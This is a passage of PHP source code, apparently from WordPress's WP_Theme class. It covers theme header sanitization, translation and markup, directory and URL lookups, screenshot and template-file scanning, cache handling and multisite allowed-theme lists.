	 * Method to implement ArrayAccess for keys formerly returned by get_themes()
	 *
	 * @since 3.4.0
	 *
	 * @param mixed $offset
	 * @return bool
	 */
	#[ReturnTypeWillChange]
	public function offsetExists( $offset ) {
		static $keys = array(
			'Name',
			'Version',
			'Status',
			'Title',
			'Author',
			'Author Name',
			'Author URI',
			'Description',
			'Template',
			'Stylesheet',
			'Template Files',
			'Stylesheet Files',
			'Template Dir',
			'Stylesheet Dir',
			'Screenshot',
			'Tags',
			'Theme Root',
			'Theme Root URI',
			'Parent Theme',
		);

		return in_array( $offset, $keys, true );
	}

	/**
	 * Method to implement ArrayAccess for keys formerly returned by get_themes().
	 *
	 * Author, Author Name, Author URI, and Description did not previously return
	 * translated data. We are doing so now as it is safe to do. However, as
	 * Name and Title could have been used as the key for get_themes(), both remain
	 * untranslated for back compatibility. This means that ['Name'] is not ideal,
	 * and care should be taken to use `$theme::display( 'Name' )` to get a properly
	 * translated header.
	 *
	 * @since 3.4.0
	 *
	 * @param mixed $offset
	 * @return mixed
	 */
	#[ReturnTypeWillChange]
	public function offsetGet( $offset ) {
		switch ( $offset ) {
			case 'Name':
			case 'Title':
				/*
				 * See note above about using translated data. get() is not ideal.
				 * It is only for backward compatibility. Use display().
				 */
				return $this->get( 'Name' );
			case 'Author':
				return $this->display( 'Author' );
			case 'Author Name':
				return $this->display( 'Author', false );
			case 'Author URI':
				return $this->display( 'AuthorURI' );
			case 'Description':
				return $this->display( 'Description' );
			case 'Version':
			case 'Status':
				return $this->get( $offset );
			case 'Template':
				return $this->get_template();
			case 'Stylesheet':
				return $this->get_stylesheet();
			case 'Template Files':
				return $this->get_files( 'php', 1, true );
			case 'Stylesheet Files':
				return $this->get_files( 'css', 0, false );
			case 'Template Dir':
				return $this->get_template_directory();
			case 'Stylesheet Dir':
				return $this->get_stylesheet_directory();
			case 'Screenshot':
				return $this->get_screenshot( 'relative' );
			case 'Tags':
				return $this->get( 'Tags' );
			case 'Theme Root':
				return $this->get_theme_root();
			case 'Theme Root URI':
				return $this->get_theme_root_uri();
			case 'Parent Theme':
				return $this->parent() ? $this->parent()->get( 'Name' ) : '';
			default:
				return null;
		}
	}

	/**
	 * Returns errors property.
	 *
	 * @since 3.4.0
	 *
	 * @return WP_Error|false WP_Error if there are errors, or false.
	 */
	public function errors() {
		return is_wp_error( $this->errors ) ? $this->errors : false;
	}

	/**
	 * Determines whether the theme exists.
	 *
	 * A theme with errors exists. A theme with the error of 'theme_not_found',
	 * meaning that the theme's directory was not found, does not exist.
	 *
	 * @since 3.4.0
	 *
	 * @return bool Whether the theme exists.
	 */
	public function exists() {
		return ! ( $this->errors() && in_array( 'theme_not_found', $this->errors()->get_error_codes(), true ) );
	}

	/**
	 * Returns reference to the parent theme.
	 *
	 * @since 3.4.0
	 *
	 * @return WP_Theme|false Parent theme, or false if the active theme is not a child theme.
	 */
	public function parent() {
		return isset( $this->parent ) ? $this->parent : false;
	}

	/**
	 * Perform reinitialization tasks.
	 *
	 * Prevents a callback from being injected during unserialization of an object.
	 */
	public function __wakeup() {
		if ( $this->parent && ! $this->parent instanceof self ) {
			throw new UnexpectedValueException();
		}
		if ( $this->headers && ! is_array( $this->headers ) ) {
			throw new UnexpectedValueException();
		}
		foreach ( $this->headers as $value ) {
			if ( ! is_string( $value ) ) {
				throw new UnexpectedValueException();
			}
		}
		$this->headers_sanitized = array();
	}

	/**
	 * Adds theme data to cache.
	 *
	 * Cache entries keyed by the theme and the type of data.
	 *
	 * @since 3.4.0
	 *
	 * @param string       $key  Type of data to store (theme, screenshot, headers, post_templates)
	 * @param array|string $data Data to store
	 * @return bool Return value from wp_cache_add()
	 */
	private function cache_add( $key, $data ) {
		return wp_cache_add( $key . '-' . $this->cache_hash, $data, 'themes', self::$cache_expiration );
	}

	/**
	 * Gets theme data from cache.
	 *
	 * Cache entries are keyed by the theme and the type of data.
	 *
	 * @since 3.4.0
	 *
	 * @param string $key Type of data to retrieve (theme, screenshot, headers, post_templates)
	 * @return mixed Retrieved data
	 */
	private function cache_get( $key ) {
		return wp_cache_get( $key . '-' . $this->cache_hash, 'themes' );
	}

	/**
	 * Clears the cache for the theme.
	 *
	 * @since 3.4.0
	 */
	public function cache_delete() {
		foreach ( array( 'theme', 'screenshot', 'headers', 'post_templates' ) as $key ) {
			wp_cache_delete( $key . '-' . $this->cache_hash, 'themes' );
		}
		$this->template               = null;
		$this->textdomain_loaded      = null;
		$this->theme_root_uri         = null;
		$this->parent                 = null;
		$this->errors                 = null;
		$this->headers_sanitized      = null;
		$this->name_translated        = null;
		$this->block_theme            = null;
		$this->block_template_folders = null;
		$this->headers                = array();
		$this->__construct( $this->stylesheet, $this->theme_root );
		$this->delete_pattern_cache();
	}

	/**
	 * Gets a raw, unformatted theme header.
	 *
	 * The header is sanitized, but is not translated, and is not marked up for display.
	 * To get a theme header for display, use the display() method.
	 *
	 * Use the get_template() method, not the 'Template' header, for finding the template.
	 * The 'Template' header is only good for what was written in the style.css, while
	 * get_template() takes into account where WordPress actually located the theme and
	 * whether it is actually valid.
	 *
	 * @since 3.4.0
	 *
	 * @param string $header Theme header. Name, Description, Author, Version, ThemeURI, AuthorURI, Status, Tags.
	 * @return string|array|false String or array (for Tags header) on success, false on failure.
	 */
	public function get( $header ) {
		if ( ! isset( $this->headers[ $header ] ) ) {
			return false;
		}

		if ( ! isset( $this->headers_sanitized ) ) {
			$this->headers_sanitized = $this->cache_get( 'headers' );
			if ( ! is_array( $this->headers_sanitized ) ) {
				$this->headers_sanitized = array();
			}
		}

		if ( isset( $this->headers_sanitized[ $header ] ) ) {
			return $this->headers_sanitized[ $header ];
		}

		// If themes are a persistent group, sanitize everything and cache it. One cache add is better than many cache sets.
		if ( self::$persistently_cache ) {
			foreach ( array_keys( $this->headers ) as $_header ) {
				$this->headers_sanitized[ $_header ] = $this->sanitize_header( $_header, $this->headers[ $_header ] );
			}
			$this->cache_add( 'headers', $this->headers_sanitized );
		} else {
			$this->headers_sanitized[ $header ] = $this->sanitize_header( $header, $this->headers[ $header ] );
		}

		return $this->headers_sanitized[ $header ];
	}

	/**
	 * Gets a theme header, formatted and translated for display.
	 *
	 * @since 3.4.0
	 *
	 * @param string $header    Theme header. Name, Description, Author, Version, ThemeURI, AuthorURI, Status, Tags.
	 * @param bool   $markup    Optional. Whether to mark up the header. Defaults to true.
	 * @param bool   $translate Optional. Whether to translate the header. Defaults to true.
	 * @return string|array|false Processed header. An array for Tags if `$markup` is false, string otherwise.
	 *                            False on failure.
	 */
	public function display( $header, $markup = true, $translate = true ) {
		$value = $this->get( $header );
		if ( false === $value ) {
			return false;
		}

		if ( $translate && ( empty( $value ) || ! $this->load_textdomain() ) ) {
			$translate = false;
		}

		if ( $translate ) {
			$value = $this->translate_header( $header, $value );
		}

		if ( $markup ) {
			$value = $this->markup_header( $header, $value, $translate );
		}

		return $value;
	}

	/**
	 * Sanitizes a theme header.
	 *
	 * @since 3.4.0
	 * @since 5.4.0 Added support for `Requires at least` and `Requires PHP` headers.
	 * @since 6.1.0 Added support for `Update URI` header.
	 *
	 * @param string $header Theme header. Accepts 'Name', 'Description', 'Author', 'Version',
	 *                       'ThemeURI', 'AuthorURI', 'Status', 'Tags', 'RequiresWP', 'RequiresPHP',
	 *                       'UpdateURI'.
	 * @param string $value  Value to sanitize.
	 * @return string|array An array for Tags header, string otherwise.
	 */
	private function sanitize_header( $header, $value ) {
		switch ( $header ) {
			case 'Status':
				if ( ! $value ) {
					$value = 'publish';
					break;
				}
				// Fall through otherwise.
			case 'Name':
				static $header_tags = array(
					'abbr'    => array( 'title' => true ),
					'acronym' => array( 'title' => true ),
					'code'    => true,
					'em'      => true,
					'strong'  => true,
				);

				$value = wp_kses( $value, $header_tags );
				break;
			case 'Author':
				// There shouldn't be anchor tags in Author, but some themes like to be challenging.
			case 'Description':
				static $header_tags_with_a = array(
					'a'       => array(
						'href'  => true,
						'title' => true,
					),
					'abbr'    => array( 'title' => true ),
					'acronym' => array( 'title' => true ),
					'code'    => true,
					'em'      => true,
					'strong'  => true,
				);

				$value = wp_kses( $value, $header_tags_with_a );
				break;
			case 'ThemeURI':
			case 'AuthorURI':
				$value = sanitize_url( $value );
				break;
			case 'Tags':
				$value = array_filter( array_map( 'trim', explode( ',', strip_tags( $value ) ) ) );
				break;
			case 'Version':
			case 'RequiresWP':
			case 'RequiresPHP':
			case 'UpdateURI':
				$value = strip_tags( $value );
				break;
		}

		return $value;
	}

	/**
	 * Marks up a theme header.
	 *
	 * @since 3.4.0
	 *
	 * @param string       $header    Theme header. Name, Description, Author, Version, ThemeURI, AuthorURI, Status, Tags.
	 * @param string|array $value     Value to mark up. An array for Tags header, string otherwise.
	 * @param string       $translate Whether the header has been translated.
	 * @return string Value, marked up.
	 */
	private function markup_header( $header, $value, $translate ) {
		switch ( $header ) {
			case 'Name':
				if ( empty( $value ) ) {
					$value = esc_html( $this->get_stylesheet() );
				}
				break;
			case 'Description':
				$value = wptexturize( $value );
				break;
			case 'Author':
				if ( $this->get( 'AuthorURI' ) ) {
					$value = sprintf( '<a href="%1$s">%2$s</a>', $this->display( 'AuthorURI', true, $translate ), $value );
				} elseif ( ! $value ) {
					$value = __( 'Anonymous' );
				}
				break;
			case 'Tags':
				static $comma = null;
				if ( ! isset( $comma ) ) {
					$comma = wp_get_list_item_separator();
				}
				$value = implode( $comma, $value );
				break;
			case 'ThemeURI':
			case 'AuthorURI':
				$value = esc_url( $value );
				break;
		}

		return $value;
	}

	/**
	 * Translates a theme header.
	 *
	 * @since 3.4.0
	 *
	 * @param string       $header Theme header. Name, Description, Author, Version, ThemeURI, AuthorURI, Status, Tags.
	 * @param string|array $value  Value to translate. An array for Tags header, string otherwise.
	 * @return string|array Translated value. An array for Tags header, string otherwise.
	 */
	private function translate_header( $header, $value ) {
		switch ( $header ) {
			case 'Name':
				// Cached for sorting reasons.
				if ( isset( $this->name_translated ) ) {
					return $this->name_translated;
				}

				// phpcs:ignore WordPress.WP.I18n.LowLevelTranslationFunction,WordPress.WP.I18n.NonSingularStringLiteralText,WordPress.WP.I18n.NonSingularStringLiteralDomain
				$this->name_translated = translate( $value, $this->get( 'TextDomain' ) );

				return $this->name_translated;
			case 'Tags':
				if ( empty( $value ) || ! function_exists( 'get_theme_feature_list' ) ) {
					return $value;
				}

				static $tags_list;
				if ( ! isset( $tags_list ) ) {
					$tags_list = array(
						// As of 4.6, deprecated tags which are only used to provide translation for older themes.
						'black'             => __( 'Black' ),
						'blue'              => __( 'Blue' ),
						'brown'             => __( 'Brown' ),
						'gray'              => __( 'Gray' ),
						'green'             => __( 'Green' ),
						'orange'            => __( 'Orange' ),
						'pink'              => __( 'Pink' ),
						'purple'            => __( 'Purple' ),
						'red'               => __( 'Red' ),
						'silver'            => __( 'Silver' ),
						'tan'               => __( 'Tan' ),
						'white'             => __( 'White' ),
						'yellow'            => __( 'Yellow' ),
						'dark'              => _x( 'Dark', 'color scheme' ),
						'light'             => _x( 'Light', 'color scheme' ),
						'fixed-layout'      => __( 'Fixed Layout' ),
						'fluid-layout'      => __( 'Fluid Layout' ),
						'responsive-layout' => __( 'Responsive Layout' ),
						'blavatar'          => __( 'Blavatar' ),
						'photoblogging'     => __( 'Photoblogging' ),
						'seasonal'          => __( 'Seasonal' ),
					);

					$feature_list = get_theme_feature_list( false ); // No API.

					foreach ( $feature_list as $tags ) {
						$tags_list += $tags;
					}
				}

				foreach ( $value as &$tag ) {
					if ( isset( $tags_list[ $tag ] ) ) {
						$tag = $tags_list[ $tag ];
					} elseif ( isset( self::$tag_map[ $tag ] ) ) {
						$tag = $tags_list[ self::$tag_map[ $tag ] ];
					}
				}

				return $value;

			default:
				// phpcs:ignore WordPress.WP.I18n.LowLevelTranslationFunction,WordPress.WP.I18n.NonSingularStringLiteralText,WordPress.WP.I18n.NonSingularStringLiteralDomain
				$value = translate( $value, $this->get( 'TextDomain' ) );
		}
		return $value;
	}

	/**
	 * Returns the directory name of the theme's "stylesheet" files, inside the theme root.
	 *
	 * In the case of a child theme, this is directory name of the child theme.
	 * Otherwise, get_stylesheet() is the same as get_template().
	 *
	 * @since 3.4.0
	 *
	 * @return string Stylesheet
	 */
	public function get_stylesheet() {
		return $this->stylesheet;
	}

	/**
	 * Returns the directory name of the theme's "template" files, inside the theme root.
	 *
	 * In the case of a child theme, this is the directory name of the parent theme.
	 * Otherwise, the get_template() is the same as get_stylesheet().
	 *
	 * @since 3.4.0
	 *
	 * @return string Template
	 */
	public function get_template() {
		return $this->template;
	}

	/**
	 * Returns the absolute path to the directory of a theme's "stylesheet" files.
	 *
	 * In the case of a child theme, this is the absolute path to the directory
	 * of the child theme's files.
	 *
	 * @since 3.4.0
	 *
	 * @return string Absolute path of the stylesheet directory.
	 */
	public function get_stylesheet_directory() {
		if ( $this->errors() && in_array( 'theme_root_missing', $this->errors()->get_error_codes(), true ) ) {
			return '';
		}

		return $this->theme_root . '/' . $this->stylesheet;
	}

	/**
	 * Returns the absolute path to the directory of a theme's "template" files.
	 *
	 * In the case of a child theme, this is the absolute path to the directory
	 * of the parent theme's files.
	 *
	 * @since 3.4.0
	 *
	 * @return string Absolute path of the template directory.
	 */
	public function get_template_directory() {
		if ( $this->parent() ) {
			$theme_root = $this->parent()->theme_root;
		} else {
			$theme_root = $this->theme_root;
		}

		return $theme_root . '/' . $this->template;
	}

	/**
	 * Returns the URL to the directory of a theme's "stylesheet" files.
	 *
	 * In the case of a child theme, this is the URL to the directory of the
	 * child theme's files.
	 *
	 * @since 3.4.0
	 *
	 * @return string URL to the stylesheet directory.
	 */
	public function get_stylesheet_directory_uri() {
		return $this->get_theme_root_uri() . '/' . str_replace( '%2F', '/', rawurlencode( $this->stylesheet ) );
	}

	/**
	 * Returns the URL to the directory of a theme's "template" files.
	 *
	 * In the case of a child theme, this is the URL to the directory of the
	 * parent theme's files.
	 *
	 * @since 3.4.0
	 *
	 * @return string URL to the template directory.
	 */
	public function get_template_directory_uri() {
		if ( $this->parent() ) {
			$theme_root_uri = $this->parent()->get_theme_root_uri();
		} else {
			$theme_root_uri = $this->get_theme_root_uri();
		}

		return $theme_root_uri . '/' . str_replace( '%2F', '/', rawurlencode( $this->template ) );
	}

	/**
	 * Returns the absolute path to the directory of the theme root.
	 *
	 * This is typically the absolute path to wp-content/themes.
	 *
	 * @since 3.4.0
	 *
	 * @return string Theme root.
	 */
	public function get_theme_root() {
		return $this->theme_root;
	}

	/**
	 * Returns the URL to the directory of the theme root.
	 *
	 * This is typically the absolute URL to wp-content/themes. This forms the basis
	 * for all other URLs returned by WP_Theme, so we pass it to the public function
	 * get_theme_root_uri() and allow it to run the {@see 'theme_root_uri'} filter.
	 *
	 * @since 3.4.0
	 *
	 * @return string Theme root URI.
	 */
	public function get_theme_root_uri() {
		if ( ! isset( $this->theme_root_uri ) ) {
			$this->theme_root_uri = get_theme_root_uri( $this->stylesheet, $this->theme_root );
		}
		return $this->theme_root_uri;
	}

	/**
	 * Returns the main screenshot file for the theme.
	 *
	 * The main screenshot is called screenshot.png. gif and jpg extensions are also allowed.
	 *
	 * Screenshots for a theme must be in the stylesheet directory. (In the case of child
	 * themes, parent theme screenshots are not inherited.)
	 *
	 * @since 3.4.0
	 *
	 * @param string $uri Type of URL to return, either 'relative' or an absolute URI. Defaults to absolute URI.
	 * @return string|false Screenshot file. False if the theme does not have a screenshot.
	 */
	public function get_screenshot( $uri = 'uri' ) {
		$screenshot = $this->cache_get( 'screenshot' );
		if ( $screenshot ) {
			if ( 'relative' === $uri ) {
				return $screenshot;
			}
			return $this->get_stylesheet_directory_uri() . '/' . $screenshot;
		} elseif ( 0 === $screenshot ) {
			return false;
		}

		foreach ( array( 'png', 'gif', 'jpg', 'jpeg', 'webp', 'avif' ) as $ext ) {
			if ( file_exists( $this->get_stylesheet_directory() . "/screenshot.$ext" ) ) {
				$this->cache_add( 'screenshot', 'screenshot.' . $ext );
				if ( 'relative' === $uri ) {
					return 'screenshot.' . $ext;
				}
				return $this->get_stylesheet_directory_uri() . '/' . 'screenshot.' . $ext;
			}
		}

		$this->cache_add( 'screenshot', 0 );
		return false;
	}

	/**
	 * Returns files in the theme's directory.
	 *
	 * @since 3.4.0
	 *
	 * @param string[]|string $type          Optional. Array of extensions to find, string of a single extension,
	 *                                       or null for all extensions. Default null.
	 * @param int             $depth         Optional. How deep to search for files. Defaults to a flat scan (0 depth).
	 *                                       -1 depth is infinite.
	 * @param bool            $search_parent Optional. Whether to return parent files. Default false.
	 * @return string[] Array of files, keyed by the path to the file relative to the theme's directory, with the values
	 *                  being absolute paths.
	 */
	public function get_files( $type = null, $depth = 0, $search_parent = false ) {
		$files = (array) self::scandir( $this->get_stylesheet_directory(), $type, $depth );

		if ( $search_parent && $this->parent() ) {
			$files += (array) self::scandir( $this->get_template_directory(), $type, $depth );
		}

		return array_filter( $files );
	}

	/**
	 * Returns the theme's post templates.
	 *
	 * @since 4.7.0
	 * @since 5.8.0 Include block templates.
	 *
	 * @return array[] Array of page template arrays, keyed by post type and filename,
	 *                 with the value of the translated header name.
	 */
	public function get_post_templates() {
		// If you screw up your active theme and we invalidate your parent, most things still work. Let it slide.
		if ( $this->errors() && $this->errors()->get_error_codes() !== array( 'theme_parent_invalid' ) ) {
			return array();
		}

		$post_templates = $this->cache_get( 'post_templates' );

		if ( ! is_array( $post_templates ) ) {
			$post_templates = array();

			$files = (array) $this->get_files( 'php', 1, true );

			foreach ( $files as $file => $full_path ) {
				if ( ! preg_match( '|Template Name:(.*)$|mi', file_get_contents( $full_path ), $header ) ) {
					continue;
				}

				$types = array( 'page' );
				if ( preg_match( '|Template Post Type:(.*)$|mi', file_get_contents( $full_path ), $type ) ) {
					$types = explode( ',', _cleanup_header_comment( $type[1] ) );
				}

				foreach ( $types as $type ) {
					$type = sanitize_key( $type );
					if ( ! isset( $post_templates[ $type ] ) ) {
						$post_templates[ $type ] = array();
					}

					$post_templates[ $type ][ $file ] = _cleanup_header_comment( $header[1] );
				}
			}

			$this->cache_add( 'post_templates', $post_templates );
		}

		if ( current_theme_supports( 'block-templates' ) ) {
			$block_templates = get_block_templates( array(), 'wp_template' );
			foreach ( get_post_types( array( 'public' => true ) ) as $type ) {
				foreach ( $block_templates as $block_template ) {
					if ( ! $block_template->is_custom ) {
						continue;
					}

					if ( isset( $block_template->post_types ) && ! in_array( $type, $block_template->post_types, true ) ) {
						continue;
					}

					$post_templates[ $type ][ $block_template->slug ] = $block_template->title;
				}
			}
		}

		if ( $this->load_textdomain() ) {
			foreach ( $post_templates as &$post_type ) {
				foreach ( $post_type as &$post_template ) {
					$post_template = $this->translate_header( 'Template Name', $post_template );
				}
			}
		}

		return $post_templates;
	}

	/**
	 * Returns the theme's post templates for a given post type.
	 *
	 * @since 3.4.0
	 * @since 4.7.0 Added the `$post_type` parameter.
	 *
	 * @param WP_Post|null $post      Optional. The post being edited, provided for context.
	 * @param string       $post_type Optional. Post type to get the templates for. Default 'page'.
	 *                                If a post is provided, its post type is used.
	 * @return string[] Array of template header names keyed by the template file name.
	 */
	public function get_page_templates( $post = null, $post_type = 'page' ) {
		if ( $post ) {
			$post_type = get_post_type( $post );
		}

		$post_templates = $this->get_post_templates();
		$post_templates = isset( $post_templates[ $post_type ] ) ? $post_templates[ $post_type ] : array();

		/**
		 * Filters list of page templates for a theme.
		 *
		 * @since 4.9.6
		 *
		 * @param string[]     $post_templates Array of template header names keyed by the template file name.
		 * @param WP_Theme     $theme          The theme object.
		 * @param WP_Post|null $post           The post being edited, provided for context, or null.
		 * @param string       $post_type      Post type to get the templates for.
		 */
		$post_templates = (array) apply_filters( 'theme_templates', $post_templates, $this, $post, $post_type );

		/**
		 * Filters list of page templates for a theme.
		 *
		 * The dynamic portion of the hook name, `$post_type`, refers to the post type.
		 *
		 * Possible hook names include:
		 *
		 *  - `theme_post_templates`
		 *  - `theme_page_templates`
		 *  - `theme_attachment_templates`
		 *
		 * @since 3.9.0
		 * @since 4.4.0 Converted to allow complete control over the `$page_templates` array.
		 * @since 4.7.0 Added the `$post_type` parameter.
		 *
		 * @param string[]     $post_templates Array of template header names keyed by the template file name.
		 * @param WP_Theme     $theme          The theme object.
		 * @param WP_Post|null $post           The post being edited, provided for context, or null.
		 * @param string       $post_type      Post type to get the templates for.
		 */
		$post_templates = (array) apply_filters( "theme_{$post_type}_templates", $post_templates, $this, $post, $post_type );

		return $post_templates;
	}

	/**
	 * Scans a directory for files of a certain extension.
	 *
	 * @since 3.4.0
	 *
	 * @param string            $path          Absolute path to search.
	 * @param array|string|null $extensions    Optional. Array of extensions to find, string of a single extension,
	 *                                         or null for all extensions. Default null.
	 * @param int               $depth         Optional. How many levels deep to search for files. Accepts 0, 1+, or
	 *                                         -1 (infinite depth). Default 0.
	 * @param string            $relative_path Optional. The basename of the absolute path. Used to control the
	 *                                         returned path for the found files, particularly when this function
	 *                                         recurses to lower depths. Default empty.
	 * @return string[]|false Array of files, keyed by the path to the file relative to the `$path` directory prepended
	 *                        with `$relative_path`, with the values being absolute paths. False otherwise.
	 */
	private static function scandir( $path, $extensions = null, $depth = 0, $relative_path = '' ) {
		if ( ! is_dir( $path ) ) {
			return false;
		}

		if ( $extensions ) {
			$extensions  = (array) $extensions;
			$_extensions = implode( '|', $extensions );
		}

		$relative_path = trailingslashit( $relative_path );
		if ( '/' === $relative_path ) {
			$relative_path = '';
		}

		$results = scandir( $path );
		$files   = array();

		/**
		 * Filters the array of excluded directories and files while scanning theme folder.
		 *
		 * @since 4.7.4
		 *
		 * @param string[] $exclusions Array of excluded directories and files.
		 */
		$exclusions = (array) apply_filters( 'theme_scandir_exclusions', array( 'CVS', 'node_modules', 'vendor', 'bower_components' ) );

		foreach ( $results as $result ) {
			if ( '.' === $result[0] || in_array( $result, $exclusions, true ) ) {
				continue;
			}
			if ( is_dir( $path . '/' . $result ) ) {
				if ( ! $depth ) {
					continue;
				}
				$found = self::scandir( $path . '/' . $result, $extensions, $depth - 1, $relative_path . $result );
				$files = array_merge_recursive( $files, $found );
			} elseif ( ! $extensions || preg_match( '~\.(' . $_extensions . ')$~', $result ) ) {
				$files[ $relative_path . $result ] = $path . '/' . $result;
			}
		}

		return $files;
	}

	/**
	 * Loads the theme's textdomain.
	 *
	 * Translation files are not inherited from the parent theme. TODO: If this fails for the
	 * child theme, it should probably try to load the parent theme's translations.
	 *
	 * @since 3.4.0
	 *
	 * @return bool True if the textdomain was successfully loaded or has already been loaded.
	 *  False if no textdomain was specified in the file headers, or if the domain could not be loaded.
	 */
	public function load_textdomain() {
		if ( isset( $this->textdomain_loaded ) ) {
			return $this->textdomain_loaded;
		}

		$textdomain = $this->get( 'TextDomain' );
		if ( ! $textdomain ) {
			$this->textdomain_loaded = false;
			return false;
		}

		if ( is_textdomain_loaded( $textdomain ) ) {
			$this->textdomain_loaded = true;
			return true;
		}

		$path       = $this->get_stylesheet_directory();
		$domainpath = $this->get( 'DomainPath' );
		if ( $domainpath ) {
			$path .= $domainpath;
		} else {
			$path .= '/languages';
		}

		$this->textdomain_loaded = load_theme_textdomain( $textdomain, $path );
		return $this->textdomain_loaded;
	}

	/**
	 * Determines whether the theme is allowed (multisite only).
	 *
	 * @since 3.4.0
	 *
	 * @param string $check   Optional. Whether to check only the 'network'-wide settings, the 'site'
	 *                        settings, or 'both'. Defaults to 'both'.
	 * @param int    $blog_id Optional. Ignored if only network-wide settings are checked. Defaults to current site.
	 * @return bool Whether the theme is allowed for the network. Returns true in single-site.
	 */
	public function is_allowed( $check = 'both', $blog_id = null ) {
		if ( ! is_multisite() ) {
			return true;
		}

		if ( 'both' === $check || 'network' === $check ) {
			$allowed = self::get_allowed_on_network();
			if ( ! empty( $allowed[ $this->get_stylesheet() ] ) ) {
				return true;
			}
		}

		if ( 'both' === $check || 'site' === $check ) {
			$allowed = self::get_allowed_on_site( $blog_id );
			if ( ! empty( $allowed[ $this->get_stylesheet() ] ) ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Returns whether this theme is a block-based theme or not.
	 *
	 * @since 5.9.0
	 *
	 * @return bool
	 */
	public function is_block_theme() {
		if ( isset( $this->block_theme ) ) {
			return $this->block_theme;
		}

		$paths_to_index_block_template = array(
			$this->get_file_path( '/templates/index.html' ),
			$this->get_file_path( '/block-templates/index.html' ),
		);

		$this->block_theme = false;

		foreach ( $paths_to_index_block_template as $path_to_index_block_template ) {
			if ( is_file( $path_to_index_block_template ) && is_readable( $path_to_index_block_template ) ) {
				$this->block_theme = true;
				break;
			}
		}

		return $this->block_theme;
	}

	/**
	 * Retrieves the path of a file in the theme.
	 *
	 * Searches in the stylesheet directory before the template directory so themes
	 * which inherit from a parent theme can just override one file.
	 *
	 * @since 5.9.0
	 *
	 * @param string $file Optional. File to search for in the stylesheet directory.
	 * @return string The path of the file.
	 */
	public function get_file_path( $file = '' ) {
		$file = ltrim( $file, '/' );

		$stylesheet_directory = $this->get_stylesheet_directory();
		$template_directory   = $this->get_template_directory();

		if ( empty( $file ) ) {
			$path = $stylesheet_directory;
		} elseif ( $stylesheet_directory !== $template_directory && file_exists( $stylesheet_directory . '/' . $file ) ) {
			$path = $stylesheet_directory . '/' . $file;
		} else {
			$path = $template_directory . '/' . $file;
		}

		/** This filter is documented in wp-includes/link-template.php */
		return apply_filters( 'theme_file_path', $path, $file );
	}

	/**
	 * Determines the latest WordPress default theme that is installed.
	 *
	 * This hits the filesystem.
	 *
	 * @since 4.4.0
	 *
	 * @return WP_Theme|false Object, or false if no theme is installed, which would be bad.
	 */
	public static function get_core_default_theme() {
		foreach ( array_reverse( self::$default_themes ) as $slug => $name ) {
			$theme = wp_get_theme( $slug );
			if ( $theme->exists() ) {
				return $theme;
			}
		}
		return false;
	}

	/**
	 * Returns array of stylesheet names of themes allowed on the site or network.
	 *
	 * @since 3.4.0
	 *
	 * @param int $blog_id Optional. ID of the site. Defaults to the current site.
	 * @return string[] Array of stylesheet names.
	 */
	public static function get_allowed( $blog_id = null ) {
		/**
		 * Filters the array of themes allowed on the network.
		 *
		 * Site is provided as context so that a list of network allowed themes can
		 * be filtered further.
		 *
		 * @since 4.5.0
		 *
		 * @param string[] $allowed_themes An array of theme stylesheet names.
		 * @param int      $blog_id        ID of the site.
		 */
		$network = (array) apply_filters( 'network_allowed_themes', self::get_allowed_on_network(), $blog_id );
		return $network + self::get_allowed_on_site( $blog_id );
	}

	/**
	 * Returns array of stylesheet names of themes allowed on the network.
	 *
	 * @since 3.4.0
	 *
	 * @return string[] Array of stylesheet names.
	 */
	public static function get_allowed_on_network() {
		static $allowed_themes;
		if ( ! isset( $allowed_themes ) ) {
			$allowed_themes = (array) get_site_option( 'allowedthemes' );
		}

		/**
		 * Filters the array of themes allowed on the network.
		 *
		 * @since MU (3.0.0)
		 *
		 * @param string[] $allowed_themes An array of theme stylesheet names.
		 */
		$allowed_themes = apply_filters( 'allowed_themes', $allowed_themes );

		return $allowed_themes;
	}

	/**
	 * Returns array of stylesheet names of themes allowed on the site.
	 *
	 * @since 3.4.0
	 *
	 * @param int $blog_id Optional. ID of the site. Defaults to the current site.
	 * @return string[] Array of stylesheet names.
	 */
	public static function get_allowed_on_site( $blog_id = null ) {
		static $allowed_themes = array();

		if ( ! $blog_id || ! is_multisite() ) {
			$blog_id = get_current_blog_id();
		}

		if ( isset( $allowed_themes[ $blog_id ] ) ) {
			/**
			 * Filters the array of themes allowed on the site.
			 *
			 * @since 4.5.0
			 *
			 * @param string[] $allowed_themes An array of theme stylesheet names.
			 * @param int      $blog_id        ID of the site. Defaults to current site.
			 */
			return (array) apply_filters( 'site_allowed_themes', $allowed_themes[ $blog_id ], $blog_id );
		}

		$current = get_current_blog_id() == $blog_id;

		if ( $current ) {
			$allowed_themes[ $blog_id ] = get_option( 'allowedthemes' );
		} else {
			switch_to_blog( $blog_id );
			$allowed_themes[ $blog_id ] = get_option( 'allowedthemes' );
			restore_current_blog();
		}

		/*
		 * This is all super old MU back compat joy.
		 * 'allowedthemes' keys things by stylesheet. 'allowed_themes' keyed things by name.
		 */
		if ( false === $allowed_themes[ $blog_id ] ) {
			if ( $current ) {
				$allowed_themes[ $blog_id ] = get_option( 'allowed_themes' );
			} else {
				switch_to_blog( $blog_id );
				$allowed_themes[ $blog_id ] = get_option( 'allowed_themes' );
				restore_current_blog();
			}

			if ( ! is_array( $allowed_themes[ $blog_id ] ) || empty( $allowed_themes[ $blog_id ] ) ) {
				$allowed_themes[ $blog_id ] = array();
			} else {
				$converted = array();
				$themes    = wp_get_themes();
				foreach ( $themes as $stylesheet => $theme_data ) {
					if ( isset( $allowed_themes[ $blog_id ][ $theme_data->get( 'Name' ) ] ) ) {
						$converted[ $stylesheet ] = true;
					}
				}
				$allowed_themes[ $blog_id ] = $converted;
			}
			// Set the option so we never have to go through this pain again.
			if ( is_admin() && $allowed_themes[ $blog_id ] ) {
				if ( $current ) {
					update_option( 'allowedthemes', $allowed_themes[ $blog_id ] );
					delete_option( 'allowed_themes' );
				} else {
					switch_to_blog( $blog_id );
					update_option( 'allowedthemes', $allowed_themes[ $blog_id ] );
					delete_option( 'allowed_themes' );
					restore_current_blog();
				}
			}
		}

		/** This filter is documented in wp-includes/class-wp-theme.php */
		return (array) apply_filters( 'site_allowed_themes', $allowed_themes[ $blog_id ], $blog_id );
	}

	/**
	 * Returns the folder names of the block template directories.
	 *
	 * @since 6.4.0
	 *
	 * @return string[] {
	 *     Folder names used by block themes.
	 *
	 *     @type string $wp_template      Theme-relative directory name for block templates.
	 *     @type string $wp_template_part Theme-relative directory name for block template parts.
	 * }
	 */
	public function get_block_template_folders() {
		// Return set/cached value if available.
		if ( isset( $this->block_template_folders ) ) {
			return $this->block_template_folders;
		}

		$this->block_template_folders = $this->default_template_folders;

